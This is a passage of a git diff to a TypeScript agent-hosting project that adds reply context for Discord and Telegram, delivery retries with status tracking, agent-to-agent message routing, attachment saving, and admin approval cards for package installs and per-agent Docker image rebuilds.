kind: 'chat-sdk', - content: message.toJSON(), + content: serialized, timestamp: message.metadata.dateSent.toISOString(), }; } @@ -83,20 +134,20 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Subscribed threads — forward all messages chat.onSubscribedMessage(async (thread, message) => { const channelId = adapter.channelIdFromThreadId(thread.id); - setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + setupConfig.onInbound(channelId, thread.id, await messageToInbound(message)); }); // @mention in unsubscribed thread — forward + subscribe chat.onNewMention(async (thread, message) => { const channelId = adapter.channelIdFromThreadId(thread.id); - setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + setupConfig.onInbound(channelId, thread.id, await messageToInbound(message)); await thread.subscribe(); }); // DMs — always forward + subscribe chat.onDirectMessage(async (thread, message) => { const channelId = adapter.channelIdFromThreadId(thread.id); - setupConfig.onInbound(channelId, null, messageToInbound(message)); + setupConfig.onInbound(channelId, null, await messageToInbound(message)); await thread.subscribe(); }); @@ -108,6 +159,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter const questionId = parts[1]; const selectedOption = event.value || ''; const userId = event.user?.userId || ''; + + // Update the card to show the selected answer and remove buttons + try { + const tid = event.threadId; + await adapter.editMessage(tid, event.messageId, { + markdown: `❓ **Question**\n\n${selectedOption ? `✅ **${selectedOption}**` : '(clicked)'}`, + }); + } catch (err) { + log.warn('Failed to update card after action', { err }); + } + setupConfig.onAction(questionId, selectedOption, userId); }); @@ -161,7 +223,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter log.info('Chat SDK bridge initialized', { adapter: adapter.name }); }, - async deliver(platformId: string, threadId: string | null, message) { + async deliver(platformId: string, threadId: string | null, message): Promise { // platformId is already in the adapter's encoded format (e.g. "telegram:6037840640", // "discord:guildId:channelId") — use it directly as the thread ID const tid = threadId ?? platformId; @@ -190,24 +252,36 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter Actions(options.map((opt) => Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }))), ], }); - await adapter.postMessage(tid, { card, fallbackText: `${content.question}\nOptions: ${options.join(', ')}` }); - return; + const result = await adapter.postMessage(tid, { + card, + fallbackText: `${content.question}\nOptions: ${options.join(', ')}`, + }); + return result?.id; } // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { // Attach files if present (FileUpload format: { data, filename }) - const fileUploads = message.files?.map((f) => ({ data: f.data, filename: f.filename })); + const fileUploads = message.files?.map((f: { data: Buffer; filename: string }) => ({ + data: f.data, + filename: f.filename, + })); if (fileUploads && fileUploads.length > 0) { - await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + const result = await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + return result?.id; } else { - await adapter.postMessage(tid, { markdown: text }); + const result = await adapter.postMessage(tid, { markdown: text }); + return result?.id; } } else if (message.files && message.files.length > 0) { // Files only, no text - const fileUploads = message.files.map((f) => ({ data: f.data, filename: f.filename })); - await adapter.postMessage(tid, { markdown: '', files: fileUploads }); + const fileUploads = message.files.map((f: { data: Buffer; filename: string }) => ({ + data: f.data, + filename: f.filename, + })); + const result = await adapter.postMessage(tid, { markdown: '', files: fileUploads }); + return result?.id; } }, diff --git a/src/channels/discord.ts b/src/channels/discord.ts index 01ed4c5..d23a1e2 100644 --- a/src/channels/discord.ts +++ b/src/channels/discord.ts @@ -5,9 +5,19 @@ import { createDiscordAdapter } from '@chat-adapter/discord'; import { readEnvFile } from '../env.js'; -import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { createChatSdkBridge, type ReplyContext } from './chat-sdk-bridge.js'; import { registerChannelAdapter } from './channel-registry.js'; +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function extractReplyContext(raw: Record): ReplyContext | null { + if (!raw.referenced_message) return null; + const reply = raw.referenced_message; + return { + text: reply.content || '', + sender: reply.author?.global_name || reply.author?.username || 'Unknown', + }; +} + registerChannelAdapter('discord', { factory: () => { const env = readEnvFile(['DISCORD_BOT_TOKEN', 'DISCORD_PUBLIC_KEY', 'DISCORD_APPLICATION_ID']); @@ -17,6 +27,11 @@ registerChannelAdapter('discord', { publicKey: env.DISCORD_PUBLIC_KEY, applicationId: env.DISCORD_APPLICATION_ID, }); - return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent', botToken: env.DISCORD_BOT_TOKEN }); + return createChatSdkBridge({ + adapter: discordAdapter, + concurrency: 'concurrent', + botToken: env.DISCORD_BOT_TOKEN, + extractReplyContext, + }); }, }); diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index c4ae5fe..345419f 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -5,9 +5,19 @@ import { createTelegramAdapter } from '@chat-adapter/telegram'; import { readEnvFile } from '../env.js'; -import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { createChatSdkBridge, type ReplyContext } from './chat-sdk-bridge.js'; import { registerChannelAdapter } from './channel-registry.js'; +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function extractReplyContext(raw: Record): ReplyContext | null { + if (!raw.reply_to_message) return null; + const reply = raw.reply_to_message; + return { + text: reply.text || reply.caption || '', + sender: reply.from?.first_name || reply.from?.username || 'Unknown', + }; +} + registerChannelAdapter('telegram', { factory: () => { const env = readEnvFile(['TELEGRAM_BOT_TOKEN']); @@ -16,6 +26,6 @@ registerChannelAdapter('telegram', { botToken: env.TELEGRAM_BOT_TOKEN, mode: 'polling', }); - return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent', extractReplyContext }); }, }); diff --git a/src/container-runner.ts b/src/container-runner.ts index bc54632..743b7ce 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -3,7 +3,7 @@ * Spawns agent containers with session folder + agent group folder mounts. * The container runs the v2 agent-runner which polls the session DB. */ -import { ChildProcess, spawn } from 'child_process'; +import { ChildProcess, execSync, spawn } from 'child_process'; import fs from 'fs'; import path from 'path'; @@ -274,9 +274,19 @@ async function buildContainerArgs( } } + // Pass additional MCP servers from container config + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (containerConfig.mcpServers && Object.keys(containerConfig.mcpServers).length > 0) { + args.push('-e', `NANOCLAW_MCP_SERVERS=${JSON.stringify(containerConfig.mcpServers)}`); + } + // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) args.push('--entrypoint', 'bash'); - args.push(CONTAINER_IMAGE); + + // Use per-agent-group image if one has been built, otherwise base image + const imageTag = containerConfig.imageTag || CONTAINER_IMAGE; + args.push(imageTag); + args.push( '-c', 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index.js', @@ -284,3 +294,51 @@ async function buildContainerArgs( return args; } + +/** Build a per-agent-group Docker image with custom packages. */ +export async function buildAgentGroupImage(agentGroupId: string): Promise { + const agentGroup = getAgentGroup(agentGroupId); + if (!agentGroup) throw new Error('Agent group not found'); + + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + const packages = containerConfig.packages || { apt: [], npm: [] }; + const aptPackages = (packages.apt || []) as string[]; + const npmPackages = (packages.npm || []) as string[]; + + if (aptPackages.length === 0 && npmPackages.length === 0) { + throw new Error('No packages to install. Use install_packages first.'); + } + + let dockerfile = `FROM ${CONTAINER_IMAGE}\nUSER root\n`; + if (aptPackages.length > 0) { + dockerfile += `RUN apt-get update && apt-get install -y ${aptPackages.join(' ')} && rm -rf /var/lib/apt/lists/*\n`; + } + if (npmPackages.length > 0) { + dockerfile += `RUN npm install -g ${npmPackages.join(' ')}\n`; + } + dockerfile += 'USER node\n'; + + const imageTag = `nanoclaw-agent:${agentGroupId}`; + + log.info('Building per-agent-group image', { agentGroupId, imageTag, apt: aptPackages, npm: npmPackages }); + + // Write Dockerfile to temp file and build + const tmpDockerfile = path.join(DATA_DIR, `Dockerfile.${agentGroupId}`); + fs.writeFileSync(tmpDockerfile, dockerfile); + try { + execSync(`${CONTAINER_RUNTIME_BIN} build -t ${imageTag} -f ${tmpDockerfile} .`, { + cwd: DATA_DIR, + stdio: 'pipe', + timeout: 300_000, + }); + } finally { + fs.unlinkSync(tmpDockerfile); + } + + // Store the image tag in container_config + containerConfig.imageTag = imageTag; + const { updateAgentGroup } = await import('./db/agent-groups.js'); + updateAgentGroup(agentGroupId, { container_config: JSON.stringify(containerConfig) }); + + log.info('Per-agent-group image built', { agentGroupId, imageTag }); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index bea9334..81cd68e 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -62,7 +62,7 @@ describe('migrations', () => { const db = initTestDb(); runMigrations(db); const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(2); + expect(row.v).toBe(3); }); }); diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index 6c792d8..1acf16f 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -109,3 +109,14 @@ export function updateMessagingGroupAgent( export function deleteMessagingGroupAgent(id: string): void { getDb().prepare('DELETE FROM messaging_group_agents WHERE id = ?').run(id); } + +/** Get all messaging groups wired to an agent group (reverse lookup). */ +export function getMessagingGroupsByAgentGroup(agentGroupId: string): MessagingGroup[] { + return getDb() + .prepare( + `SELECT mg.* FROM messaging_groups mg + JOIN messaging_group_agents mga ON mga.messaging_group_id = mg.id + WHERE mga.agent_group_id = ?`, + ) + .all(agentGroupId) as MessagingGroup[]; +} diff --git a/src/db/migrations/003-pending-approvals.ts b/src/db/migrations/003-pending-approvals.ts new file mode 100644 index 0000000..9fc2704 --- /dev/null +++ b/src/db/migrations/003-pending-approvals.ts @@ -0,0 +1,18 @@ +import type { Migration } from './index.js'; + +export const migration003: Migration = { + version: 3, + name: 'pending-approvals', + up(db) { + db.exec(` + CREATE TABLE pending_approvals ( + approval_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + request_id TEXT NOT NULL, + action TEXT NOT NULL, + payload TEXT NOT NULL, + created_at TEXT NOT NULL + ); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index 114a521..3a51c5f 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -3,6 +3,7 @@ import type Database from 'better-sqlite3'; import { log } from '../../log.js'; import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; +import { migration003 } from './003-pending-approvals.js'; export interface Migration { version: number; @@ -10,7 +11,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002]; +const migrations: Migration[] = [migration001, migration002, migration003]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/db/schema.ts b/src/db/schema.ts index b54210d..d2ed36a 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -93,11 +93,13 @@ CREATE TABLE messages_in ( content TEXT NOT NULL ); --- Host tracks which messages_out IDs have been delivered. +-- Host tracks delivery outcomes for messages_out IDs. -- Avoids writing to outbound.db (container-owned). CREATE TABLE delivered ( - message_out_id TEXT PRIMARY KEY, - delivered_at TEXT NOT NULL + message_out_id TEXT PRIMARY KEY, + platform_message_id TEXT, + status TEXT NOT NULL DEFAULT 'delivered', + delivered_at TEXT NOT NULL ); `; diff --git a/src/db/sessions.ts b/src/db/sessions.ts index c2373f3..45e911f 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -1,4 +1,4 @@ -import type { PendingQuestion, Session } from '../types.js'; +import type { PendingApproval, PendingQuestion, Session } from '../types.js'; import { getDb } from './connection.js'; // ── Sessions ── @@ -90,3 +90,24 @@ export function getPendingQuestion(questionId: string): PendingQuestion | undefi export function deletePendingQuestion(questionId: string): void { getDb().prepare('DELETE FROM pending_questions WHERE question_id = ?').run(questionId); } + +// ── Pending Approvals ── + +export function createPendingApproval(pa: PendingApproval): void { + getDb() + .prepare( + `INSERT INTO pending_approvals (approval_id, session_id, request_id, action, payload, created_at) + VALUES (@approval_id, @session_id, @request_id, @action, @payload, @created_at)`, + ) + .run(pa); +} + +export function getPendingApproval(approvalId: string): PendingApproval | undefined { + return getDb().prepare('SELECT * FROM pending_approvals WHERE approval_id = ?').get(approvalId) as + | PendingApproval + | undefined; +} + +export function deletePendingApproval(approvalId: string): void { + getDb().prepare('DELETE FROM pending_approvals WHERE approval_id = ?').run(approvalId); +} diff --git a/src/delivery.ts b/src/delivery.ts index 12676f3..74be38d 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -11,16 +11,22 @@ import Database from 'better-sqlite3'; import fs from 'fs'; import path from 'path'; -import { getRunningSessions, getActiveSessions, createPendingQuestion } from './db/sessions.js'; -import { getAgentGroup } from './db/agent-groups.js'; +import { GROUPS_DIR } from './config.js'; +import { getRunningSessions, getActiveSessions, createPendingQuestion, getSession, createPendingApproval } from './db/sessions.js'; +import { getAgentGroup, getAdminAgentGroup, createAgentGroup, updateAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; import { log } from './log.js'; -import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath } from './session-manager.js'; -import { resetContainerIdleTimer } from './container-runner.js'; +import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath, resolveSession, writeSessionMessage, writeSystemResponse } from './session-manager.js'; +import { resetContainerIdleTimer, wakeContainer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types.js'; const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; +const MAX_DELIVERY_ATTEMPTS = 3; + +/** Track delivery attempt counts. Resets on process restart (gives failed messages a fresh chance). */ +const deliveryAttempts = new Map(); export interface ChannelDeliveryAdapter { deliver( @@ -30,7 +36,7 @@ export interface ChannelDeliveryAdapter { kind: string, content: string, files?: OutboundFile[], - ): Promise; + ): Promise; setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; } @@ -136,16 +142,44 @@ async function deliverSessionMessages(session: Session): Promise { const undelivered = allDue.filter((m) => !deliveredIds.has(m.id)); if (undelivered.length === 0) return; + // Ensure platform_message_id column exists (migration for existing sessions) + migrateDeliveredTable(inDb); + for (const msg of undelivered) { try { - await deliverMessage(msg, session, inDb); - // Track delivery in inbound.db (host-owned) — not outbound.db + const platformMsgId = await deliverMessage(msg, session, inDb); inDb - .prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))") - .run(msg.id); + .prepare( + "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, ?, 'delivered', datetime('now'))", + ) + .run(msg.id, platformMsgId ?? null); + deliveryAttempts.delete(msg.id); resetContainerIdleTimer(session.id); } catch (err) { - log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); + const attempts = (deliveryAttempts.get(msg.id) ?? 0) + 1; + deliveryAttempts.set(msg.id, attempts); + if (attempts >= MAX_DELIVERY_ATTEMPTS) { + log.error('Message delivery failed permanently, giving up', { + messageId: msg.id, + sessionId: session.id, + attempts, + err, + }); + inDb + .prepare( + "INSERT OR IGNORE INTO delivered (message_out_id, platform_message_id, status, delivered_at) VALUES (?, NULL, 'failed', datetime('now'))", + ) + .run(msg.id); + deliveryAttempts.delete(msg.id); + } else { + log.warn('Message delivery failed, will retry', { + messageId: msg.id, + sessionId: session.id, + attempt: attempts, + maxAttempts: MAX_DELIVERY_ATTEMPTS, + err, + }); + } } } } finally { @@ -165,7 +199,7 @@ async function deliverMessage( }, session: Session, inDb: Database.Database, -): Promise { +): Promise { if (!deliveryAdapter) { log.warn('No delivery adapter configured, dropping message', { id: msg.id }); return; @@ -181,8 +215,7 @@ async function deliverMessage( // Agent-to-agent — route to target session if (msg.channel_type === 'agent') { - log.info('Agent-to-agent message', { from: session.id, target: msg.platform_id }); - // TODO: route to target agent's session DB + await routeAgentMessage(msg, session); return; } @@ -222,11 +255,19 @@ async function deliverMessage( if (files.length === 0) files = undefined; } - await deliveryAdapter.deliver(msg.channel_type, msg.platform_id, msg.thread_id, msg.kind, msg.content, files); + const platformMsgId = await deliveryAdapter.deliver( + msg.channel_type, + msg.platform_id, + msg.thread_id, + msg.kind, + msg.content, + files, + ); log.info('Message delivered', { id: msg.id, channelType: msg.channel_type, platformId: msg.platform_id, + platformMsgId, fileCount: files?.length, }); @@ -234,6 +275,71 @@ async function deliverMessage( if (fs.existsSync(outboxDir)) { fs.rmSync(outboxDir, { recursive: true, force: true }); } + + return platformMsgId; +} + +/** Route an agent-to-agent message to the target agent's session. */ +async function routeAgentMessage( + msg: { id: string; platform_id: string | null; content: string }, + sourceSession: Session, +): Promise { + const targetAgentGroupId = msg.platform_id; + if (!targetAgentGroupId) { + log.warn('Agent message missing target agent group ID', { id: msg.id }); + return; + } + + const targetGroup = getAgentGroup(targetAgentGroupId); + if (!targetGroup) { + log.warn('Target agent group not found', { id: msg.id, targetAgentGroupId }); + return; + } + + const sourceGroup = getAgentGroup(sourceSession.agent_group_id); + const sourceAgentName = sourceGroup?.name || sourceSession.agent_group_id; + + // Find or create a session for the target agent + const { session: targetSession } = resolveSession(targetAgentGroupId, null, null, 'agent-shared'); + + // Enrich content with sender info + const content = JSON.parse(msg.content); + const enrichedContent = JSON.stringify({ + text: content.text, + sender: sourceAgentName, + senderId: sourceSession.agent_group_id, + }); + + const messageId = `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + writeSessionMessage(targetAgentGroupId, targetSession.id, { + id: messageId, + kind: 'chat', + timestamp: new Date().toISOString(), + platformId: sourceSession.agent_group_id, + channelType: 'agent', + threadId: null, + content: enrichedContent, + }); + + log.info('Agent message routed', { from: sourceSession.agent_group_id, to: targetAgentGroupId, targetSession: targetSession.id }); + + const freshSession = getSession(targetSession.id); + if (freshSession) { + await wakeContainer(freshSession); + } +} + +/** Ensure the delivered table has new columns (migration for existing sessions). */ +function migrateDeliveredTable(db: Database.Database): void { + const cols = new Set( + (db.prepare("PRAGMA table_info('delivered')").all() as Array<{ name: string }>).map((c) => c.name), + ); + if (!cols.has('platform_message_id')) { + db.prepare('ALTER TABLE delivered ADD COLUMN platform_message_id TEXT').run(); + } + if (!cols.has('status')) { + db.prepare("ALTER TABLE delivered ADD COLUMN status TEXT NOT NULL DEFAULT 'delivered'").run(); + } } /** @@ -309,6 +415,207 @@ async function handleSystemAction( break; } + case 'create_agent': { + const requestId = content.requestId as string; + const name = content.name as string; + let folder = + (content.folder as string) || name.toLowerCase().replace(/[^a-z0-9_-]/g, '_').replace(/_+/g, '_'); + const instructions = content.instructions as string | null; + + try { + // Avoid duplicate folders + const { getAgentGroupByFolder } = await import('./db/agent-groups.js'); + if (getAgentGroupByFolder(folder)) { + folder = `${folder}_${Date.now()}`; + } + + const agentGroupId = `ag-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + createAgentGroup({ + id: agentGroupId, + name, + folder, + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: new Date().toISOString(), + }); + + const groupPath = path.join(GROUPS_DIR, folder); + fs.mkdirSync(groupPath, { recursive: true }); + + if (instructions) { + fs.writeFileSync(path.join(groupPath, 'CLAUDE.md'), instructions); + } + + writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { + agentGroupId, + name, + folder, + }); + + log.info('Agent group created via system action', { agentGroupId, name, folder }); + } catch (e) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: e instanceof Error ? e.message : String(e), + }); + } + break; + } + + case 'add_mcp_server': { + const requestId = content.requestId as string; + const serverName = content.name as string; + const command = content.command as string; + const serverArgs = content.args as string[]; + const serverEnv = content.env as Record; + + try { + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) throw new Error('Agent group not found'); + + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.mcpServers) containerConfig.mcpServers = {}; + containerConfig.mcpServers[serverName] = { command, args: serverArgs || [], env: serverEnv || {} }; + + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + writeSystemResponse(session.agent_group_id, session.id, requestId, 'success', { + message: `MCP server "${serverName}" added. Will take effect on next container restart.`, + }); + + log.info('MCP server added', { agentGroupId: session.agent_group_id, name: serverName }); + } catch (e) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: e instanceof Error ? e.message : String(e), + }); + } + break; + } + + case 'install_packages': { + const requestId = content.requestId as string; + const apt = (content.apt as string[]) || []; + const npm = (content.npm as string[]) || []; + const reason = content.reason as string; + + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + break; + } + + // Find admin channel for approval card + const adminGroup = getAdminAgentGroup(); + let approvalChannelType: string | null = null; + let approvalPlatformId: string | null = null; + + if (adminGroup) { + const adminMGs = getMessagingGroupsByAgentGroup(adminGroup.id); + if (adminMGs.length > 0) { + approvalChannelType = adminMGs[0].channel_type; + approvalPlatformId = adminMGs[0].platform_id; + } + } + + if (!approvalChannelType || !approvalPlatformId) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: 'No admin channel found for approval', + }); + break; + } + + const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + createPendingApproval({ + approval_id: approvalId, + session_id: session.id, + request_id: requestId, + action: 'install_packages', + payload: JSON.stringify({ apt, npm, reason }), + created_at: new Date().toISOString(), + }); + + const packageList = [...apt.map((p: string) => `apt: ${p}`), ...npm.map((p: string) => `npm: ${p}`)].join(', '); + if (deliveryAdapter) { + await deliveryAdapter.deliver( + approvalChannelType, + approvalPlatformId, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: approvalId, + question: `Agent "${agentGroup.name}" requests package installation:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`, + options: ['Approve', 'Reject'], + }), + ); + } + + log.info('Package install approval requested', { approvalId, agentGroup: agentGroup.name, apt, npm }); + break; + } + + case 'request_rebuild': { + const requestId = content.requestId as string; + const reason = content.reason as string; + + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { error: 'Agent group not found' }); + break; + } + + // Find admin channel for approval card + const adminGroup2 = getAdminAgentGroup(); + let rebuildChannelType: string | null = null; + let rebuildPlatformId: string | null = null; + + if (adminGroup2) { + const adminMGs2 = getMessagingGroupsByAgentGroup(adminGroup2.id); + if (adminMGs2.length > 0) { + rebuildChannelType = adminMGs2[0].channel_type; + rebuildPlatformId = adminMGs2[0].platform_id; + } + } + + if (!rebuildChannelType || !rebuildPlatformId) { + writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', { + error: 'No admin channel found for approval', + }); + break; + } + + const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + createPendingApproval({ + approval_id: rebuildApprovalId, + session_id: session.id, + request_id: requestId, + action: 'request_rebuild', + payload: JSON.stringify({ reason }), + created_at: new Date().toISOString(), + }); + + if (deliveryAdapter) { + await deliveryAdapter.deliver( + rebuildChannelType, + rebuildPlatformId, + null, + 'chat-sdk', + JSON.stringify({ + type: 'ask_question', + questionId: rebuildApprovalId, + question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`, + options: ['Approve', 'Reject'], + }), + ); + } + + log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name }); + break; + } + default: log.warn('Unknown system action', { action }); } diff --git a/src/index.ts b/src/index.ts index f24a4cb..0b29e6f 100644 --- a/src/index.ts +++ b/src/index.ts @@ -14,9 +14,10 @@ import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runti import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; import { routeInbound } from './router.js'; -import { getPendingQuestion, deletePendingQuestion, getSession } from './db/sessions.js'; -import { writeSessionMessage } from './session-manager.js'; -import { wakeContainer } from './container-runner.js'; +import { getPendingQuestion, deletePendingQuestion, getPendingApproval, deletePendingApproval, getSession } from './db/sessions.js'; +import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js'; +import { writeSessionMessage, writeSystemResponse } from './session-manager.js'; +import { wakeContainer, buildAgentGroupImage } from './container-runner.js'; import { log } from './log.js'; // Channel barrel — each enabled channel self-registers on import. @@ -83,7 +84,7 @@ async function main(): Promise { log.warn('No adapter for channel type', { channelType }); return; } - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); + return adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, async setTyping(channelType, platformId, threadId) { const adapter = getChannelAdapter(channelType); @@ -125,8 +126,15 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { return configs; } -/** Handle a user's response to an ask_user_question card. */ +/** Handle a user's response to an ask_user_question card or an approval card. */ async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + // Check if this is a pending approval (install_packages, request_rebuild) + const approval = getPendingApproval(questionId); + if (approval) { + await handleApprovalResponse(approval, selectedOption, userId); + return; + } + const pq = getPendingQuestion(questionId); if (!pq) { log.warn('Pending question not found (may have expired)', { questionId }); @@ -163,6 +171,66 @@ async function handleQuestionResponse(questionId: string, selectedOption: string await wakeContainer(session); } +/** Handle an admin's response to an approval card. */ +async function handleApprovalResponse( + approval: import('./types.js').PendingApproval, + selectedOption: string, + userId: string, +): Promise { + const session = getSession(approval.session_id); + if (!session) { + deletePendingApproval(approval.approval_id); + return; + } + + if (selectedOption === 'Approve') { + const payload = JSON.parse(approval.payload); + + if (approval.action === 'install_packages') { + const agentGroup = getAgentGroup(session.agent_group_id); + const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] }; + if (payload.apt) containerConfig.packages.apt.push(...payload.apt); + if (payload.npm) containerConfig.packages.npm.push(...payload.npm); + + updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) }); + + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { + message: 'Packages approved. Run request_rebuild to apply.', + approved: { apt: payload.apt, npm: payload.npm }, + }); + + log.info('Package install approved', { approvalId: approval.approval_id, userId }); + } else if (approval.action === 'request_rebuild') { + try { + await buildAgentGroupImage(session.agent_group_id); + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', { + message: 'Container image rebuilt. Changes will take effect on next container start.', + }); + log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId }); + } catch (e) { + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { + error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`, + }); + log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e }); + } + } + } else { + // Rejected + writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', { + error: `Request rejected by admin (${userId})`, + }); + log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId }); + } + + deletePendingApproval(approval.approval_id); + + // Wake container so the agent's polling MCP tool picks up the response + if (session) { + await wakeContainer(session); + } +} + /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); diff --git a/src/session-manager.ts b/src/session-manager.ts index 94a1d58..804c38d 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -64,7 +64,7 @@ function generateId(): string { */ export function resolveSession( agentGroupId: string, - messagingGroupId: string, + messagingGroupId: string | null, threadId: string | null, sessionMode: 'shared' | 'per-thread' | 'agent-shared', ): { session: Session; created: boolean } { @@ -74,7 +74,7 @@ export function resolveSession( if (existing) { return { session: existing, created: false }; } - } else { + } else if (messagingGroupId) { const lookupThreadId = sessionMode === 'shared' ? null : threadId; const existing = findSession(messagingGroupId, lookupThreadId); if (existing) { @@ -144,6 +144,9 @@ export function writeSessionMessage( recurrence?: string | null; }, ): void { + // Extract base64 attachment data, save to inbox, replace with file paths + const content = extractAttachmentFiles(agentGroupId, sessionId, message.id, message.content); + const dbPath = inboundDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = DELETE'); @@ -166,7 +169,7 @@ export function writeSessionMessage( platformId: message.platformId ?? null, channelType: message.channelType ?? null, threadId: message.threadId ?? null, - content: message.content, + content, processAfter: message.processAfter ?? null, recurrence: message.recurrence ?? null, }); @@ -177,6 +180,44 @@ export function writeSessionMessage( updateSession(sessionId, { last_active: new Date().toISOString() }); } +/** + * If message content has attachments with base64 `data`, save them to + * the session's inbox directory and replace with `localPath`. + */ +function extractAttachmentFiles( + agentGroupId: string, + sessionId: string, + messageId: string, + contentStr: string, +): string { + let parsed: Record; + try { + parsed = JSON.parse(contentStr); + } catch { + return contentStr; + } + + const attachments = parsed.attachments as Array> | undefined; + if (!Array.isArray(attachments)) return contentStr; + + let changed = false; + for (const att of attachments) { + if (typeof att.data === 'string') { + const inboxDir = path.join(sessionDir(agentGroupId, sessionId), 'inbox', messageId); + fs.mkdirSync(inboxDir, { recursive: true }); + const filename = (att.name as string) || `attachment-${Date.now()}`; + const filePath = path.join(inboxDir, filename); + fs.writeFileSync(filePath, Buffer.from(att.data as string, 'base64')); + att.localPath = `inbox/${messageId}/${filename}`; + delete att.data; + changed = true; + log.debug('Saved attachment to inbox', { messageId, filename, size: att.size }); + } + } + + return changed ? 